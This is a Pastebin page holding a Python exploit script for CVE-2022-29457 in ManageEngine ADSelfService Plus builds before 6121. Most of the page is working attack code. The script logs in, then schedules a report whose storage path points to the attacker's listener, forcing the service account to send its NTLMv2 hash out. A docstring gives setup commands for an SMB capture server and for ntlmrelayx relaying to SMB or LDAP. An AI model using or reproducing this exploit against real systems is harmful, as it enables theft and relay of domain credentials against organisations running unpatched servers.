Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
- # Exploit Author: Metin Yunus Kandemir
- # Vendor Homepage: https://www.manageengine.com/
- # Software Link: https://www.manageengine.com/products/self-service-password/download.html
- # Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
- # Version: ADSelfService Plus Build < 6121
- # Tested against: Build 6118
- # CVE: CVE-2022-29457
- # !/usr/bin/python3
- import argparse
- import requests
- import urllib3
- import random
- import sys
- """
- 1-
- a)Set up SMB server to capture NTMLv2 hash.
- python3 smbserver.py share . -smb2support
- b)For relaying to SMB:
- python3 ntlmrelayx.py -smb2support -t smb://TARGET
- c)For relaying to LDAP:
- python3 ntlmrelayx.py -t ldaps://TARGET
- 2- Fire up the exploit.
- You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
- """
- urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
- def get_args():
- parser = argparse.ArgumentParser(
- epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
- parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
- parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
- parser.add_argument('-u', '--user', required=True, action='store')
- parser.add_argument('-p', '--password', required=True, action='store')
- parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
- parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
- args = parser.parse_args()
- return args
- def scheduler(domain, auth, target, listener, user, password):
- try:
- with requests.Session() as s:
- gUrl = target
- getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
- csrf = getCsrf.cookies['_zcsr_tmp']
- print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
- if auth.lower() == 'adselfservice':
- auth = "ADSelfService Plus Authentication"
- data = {
- "loginName": user,
- "domainName": auth,
- "j_username": user,
- "j_password": password,
- "AUTHRULE_NAME": "ADAuthenticator",
- "adscsrf": [csrf, csrf]
- }
- #Login
- url = target + "j_security_check"
- headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
- req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
- #Auth Check
- url2 = target + "webclient/index.html"
- req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
- if req2.status_code == 200:
- print("[+] Authentication is successful.")
- elif req2.status_code == 302:
- print("[-] Login failed.")
- sys.exit(1)
- else:
- print("[-] Something went wrong")
- sys.exit(1)
- dn = domain.split(".")
- r1 = random.randint(1, 1000)
- surl = target + 'ServletAPI/Reports/saveReportScheduler'
- data = {
- 'SCHEDULE_ID':'0',
- 'ADMIN_STATUS':'3',
- 'SCHEDULE_NAME': 'enrollment' + str(r1),
- 'DOMAINS': '["'+ domain +'"]',
- 'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
- 'SELECTED_REPORTS': '104,105',
- 'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
- 'SCHEDULE_TYPE': 'hourly',
- 'TIME_OF_DAY': '0',
- 'MINS_OF_HOUR': '5',
- 'EMAIL_ID': user +'@'+ domain,
- 'NOTIFY_ADMIN': 'true',
- 'NOTIFY_MANAGER': 'false',
- 'STORAGE_PATH': '\\\\' + listener + '\\share',
- 'FILE_FORMAT': 'HTML',
- 'ATTACHMENT_TYPE': 'FILE',
- 'ADMIN_MAIL_PRIORITY': 'Medium',
- 'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
- 'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
- 'MANAGER_FILE_FORMAT': 'HTML',
- 'MANAGER_ATTACHMENT_TYPE': 'FILE',
- 'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
- 'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
- 'adscsrf': csrf
- }
- sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
- if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
- print('[-] The target is patched!')
- sys.exit(1)
- if sch.status_code == 200:
- print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
- else:
- print("[-] Something went wrong. Please, try it manually!")
- sys.exit(1)
- except:
- print('[-] Connection error!')
- def main():
- arg = get_args()
- domain = arg.domain
- auth = arg.auth
- user = arg.user
- password = arg.password
- target = arg.target
- listener = arg.listener
- scheduler(domain, auth, target, listener, user, password)
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement